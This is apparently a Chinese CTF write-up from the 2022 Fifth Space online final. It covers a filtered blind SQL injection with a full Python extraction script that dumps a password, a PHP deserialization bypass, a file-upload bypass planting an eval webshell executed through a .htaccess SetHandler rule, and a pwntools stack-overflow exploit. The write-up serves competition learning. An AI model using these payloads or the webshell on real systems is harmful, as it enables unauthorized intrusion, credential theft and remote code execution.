2022第五空间线上决赛

easysqli

http://47.93.30.67:32164/

过滤 空格、information、 and等字符

通过尝试构造发现是个字符型注入,构造payload:?id=0'/**/or/**/'1发现可行

通过构造库名、表名、payload,编写自动化注入脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/local/env python3
# coding:utf-8

import requests
import sys


def get_key(target, payload):
# data = {"uid": payload}
url = target + payload
# print(url)
res = requests.get(url)
# print(res.text)
if "bob" in res.text:
return True
return False


if __name__ == '__main__':
url = "http://47.93.30.67:6979/index.php"
# 获取库名
# payload = "?id=0'/**/or/**/ascii(substr(database(),{},1))/**/regexp/**/binary/**/'{}"
# 获取表明
# payload = "?id=0'/**/or/**/ascii(substr((select/**/table_name/**/from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema=database()/**/limit/**/1,1),{},1))/**/regexp/**/binary/**/'{}"
# 猜测字段名称,获取字段内容
payload = "?id=0'/**/or/**/ascii(substr((select/**/(password)/**/from/**/users/**/limit/**/0,1),{},1))/**/regexp/**/binary/**/'{}"
for i in range(1, 50):
for j in range(46, 128):
temp = payload.format(i, j)
# print(temp)
status = get_key(url, temp)
if status:
sys.stdout.write(chr(j))
sys.stdout.flush()
break

最终通过脚本获取:

库名: web2

表名: atable、users

猜测字段名称: username、password

爆破字段内容为:administrator、oh_you_got_my_password

前面扫描发现存在login.php登录页面

使用用户密码登录无反应,但是界面存在提示:

image-20220926152852015

尝试修改请求头User-Agent: universe PC 登录成功获取flag

image-20220926152910980

web上传

访问网页源码

拖到底

img

加上参数访问

![img](http://172.16.5.6:9000/uploads/2022/09/27/63328a7c0135c.jpg

反序列化

Str_replace用双写绕过

Protected变量在序列化时要加%00

加入参数hh=O:7:"GGethintethint":1:{s:8:"%00*%00value";i:1;}后访问

img

访问这个页面

img

上传过滤了后缀php,linux系统

过滤了文件类型

内容过滤了<??>

<script language="php"> eval($_POST['x']); </script>绕过

上传.htacess

内容为

1
2
3
<FilesMatch "muma.png">
SetHandler application/x-httpd-php
</FilesMatch>

用蚁剑连一下muma.png ,在网站根目录找到flag

img

pwn签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8

from pwn import*

context(arch = 'amd64', os = 'linux', log_level = 'DEBUG')


if args['REMOTE']:
p = remote('192.168.101.43',10000)
else:
p = process('./pwn')



offset = 0x10 + 8
magic_addr = 0x40118a


payload = b''
payload += b'a' * offset
payload += p64(magic_addr)

#gdb.attach(p)
p.recvuntil("a:Say something.\n")
p.sendline(payload)


p.interactive()

作者

丨greetdawn丨

发布于

2022-09-15

更新于

2023-05-06

许可协议

评论